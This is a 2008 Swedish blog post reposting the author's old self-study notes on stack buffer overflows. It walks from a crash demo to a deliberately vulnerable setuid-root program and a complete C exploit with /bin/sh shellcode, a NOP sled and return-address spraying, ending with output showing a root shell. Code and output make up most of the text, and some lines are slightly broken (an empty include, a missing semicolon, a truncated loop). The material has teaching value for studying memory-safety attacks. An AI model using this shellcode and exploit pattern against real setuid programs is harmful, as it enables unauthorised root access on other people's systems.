söndag 30 november 2008

gamla texter, BOF

hittade lite gamla texter och loggar :) Nostalgi!
Följande text skrev jag som en komihåg lapp och detta var precis när jag började lära mig utnyttja Buffer over flows. (Dvs du fyller inputen i ett program/script med för mycket så du kommmer åt att skriva vad du vill i Ram Minnet. och därigenom kan köra igång evil stuff och få högre rättigheter än vad du ska ha)



Buffer owerflows,
text av XXXX #XXXXX XXXX... ni är mediahoror käft
denna text kräver att du har grundläggande funktioner om hur datorn hanterar grejer i minnet. balblabl
kanske kommer en dag jag orkar lägga till text ang det.. jaja közz

BASICs

här är lite enkel kod

overflow.c ------------------------------------------------------------
void overflow_function(char *str)
{
char buffer[20];

strcpy(buffer, str); //funtion som kopierar str -> buffer
}

int main()
{
char big_string[128];
int i;

for(i=0;i<128; i++){
big_string[i] = 'A'; //fyller big_string med A
}
overflow_function(big_string);
exit(0);
}
EOF--------------------------------------------------------------------

detta kommer orsaka att man förösker fylla "buffer" med aldels förmånga A istället för
max 20 som den är alokerad till .. detta medför i sin tur->
--------------------------------------------------------------------------
gcc -o overflow overflow.c
./overflow
Segmentation fault
--------------------------------------------------------------------------

så långt hoppas jag alla redan är med vad en buffer overflow är...
--------------------------------------------------------------------------
stackbaserad overflow
.. om man tittar på programets funktion där. så är det ju så att den förösker
pressa ner A i stacken och när den bara har 20 st definerade att klara av så kommer
de överigaa 108byte spillas ut.. den skriver över stack frame pointer, return address
och str pekarens argument. efter det försöker programet att hoppa till return addressen i
minnet som nu istället är överskriven med massa A...detta orsakar då att programet
läser fel(dvs läser massa A istället för ret address etc) i minnet..
vilket gör att programet crashar..alltså där return address etc förväntars vara är
istället massa jävla A (0x41 hex)


skriv ett program som du kan sudo till root och skriva en exploit.... hm
vuln.c------------------------------------------------------------------------------
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
-----------------------------------------------------------------------------------
gcc -o vuln vuln.c
detta programet gör ju inte så mycket ...... men du ser själv det farliga idet va
säg att detta tillåts köras som root..
sudo chown root vuln
sudo chmod +s vuln
-----------------------------------------------------------------------------------
nu är detta programet redo att skrivas en exploit till detta förklaras NU =) ..
hmm i minnet läggs då balbalablblblab jag vet itne men tycker ni ska läsa typ något memory text istället för detta
-_--------------------------------------------------------------------------------

exploit.c---------------------------------------------------------------------------
#include

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x42\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

unsigned long sp(void)
{__asm__("movl %esp, %eax");} // anävänds för returnera stack pekaren..

int main(int argc, char *argv[]){
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;

offset = 0;
esp = sp(); //tryck den nuvarande stack pekaren/pointer in i esp
ret = esp - offset; // vu vull skriva över ret addressen iminnet ju..

printf("stack pointer (ESP) : 0x%x\n", esp);
printf(" offsett från ESP : 0x%x\n", offset);
printf(" efterfrågad return adrs: 0x%x\n", ret);

//alokera 600byte för buffer..
buffer = malloc(600);

//fyll hela buffern med efterfrågade ..ret addresser,,
ptr = buffer
addr_ptr = (long *) ptr;
for(i=0;i<600;i+=4)
{ *(addr_ptr++) = ret; }

//fyll första 200 bytes av buffern med utfyllnads(NOP=¨x90)
for(i=0;i<200;i++)
{ buffer[i] = '\x90';}

//plasera shellcode efter NOP
ptr=buffer + 200;
for(i=0;i *(ptr++) = shellcode[i];}

//avsluta strängen
buffer[600-1] = 0;

//kör programet med våran buffer *SMAJL*
execl("./vuln", "vuln", buffer, 0);

//frigööör bufferminnet ajt
free(buffer);

return 0;
}
EOF----------------------------------------------------------------------------

resultat

gcc -o exploit exploit.c
./exploit
stack pointer (ESP) : 0xbffff978
offsett från ESP : 0x0
efterfrågad return adrs: 0xbffff978
#whoami
root
#
--------------------------------------------------------------------------------


WOOLLA detta va min egen lektion för mej själv .....



SLUT .................................................











Inga kommentarer: